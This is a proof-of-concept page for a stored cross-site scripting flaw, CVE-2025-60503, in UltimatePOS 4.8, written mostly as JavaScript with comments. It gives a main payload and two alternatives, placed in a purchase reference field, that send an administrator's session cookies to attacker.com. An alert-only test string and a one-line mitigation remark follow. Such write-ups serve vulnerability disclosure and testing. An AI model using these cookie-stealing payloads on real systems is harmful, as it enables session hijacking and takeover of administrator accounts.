CVE-2025-60503 UltimatePOS 4.8 管理界面跨站脚本漏洞

// CVE-2025-60503 PoC - Stored XSS in UltimatePOS 4.8 // Author: Security Researcher // Target: ultimatefosters UltimatePOS 4.8 // Step 1: Authentication with low-privilege account const loginEndpoint = 'http://target-ultimatepos.com/api/auth/login'; const credentials = { username: 'attacker_account', password: 'attacker_password' }; // Step 2: Submit purchase with malicious XSS payload in reference number field const purchaseEndpoint = 'http://target-ultimatepos.com/api/purchases'; const maliciousPayload = { product_id: '12345', quantity: 10, reference_no: '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>', // Alternative payloads: // '<img src=x onerror="fetch(\\'https://attacker.com/log?c=\\'+document.cookie)\\'>", // '<svg/onload=fetch("https://attacker.com/steal?data="+btoa(document.cookie))', notes: 'Malicious XSS payload for CVE-2025-60503' }; // Step 3: When admin views the log panel, XSS executes in admin's browser // The malicious script will steal admin's session cookies and send to attacker // Recommended testing payload (alert for demonstration): const testPayload = '<script>alert("CVE-2025-60503 XSS - Cookie: "+document.cookie)</script>'; // Mitigation: Input validation and output encoding should be implemented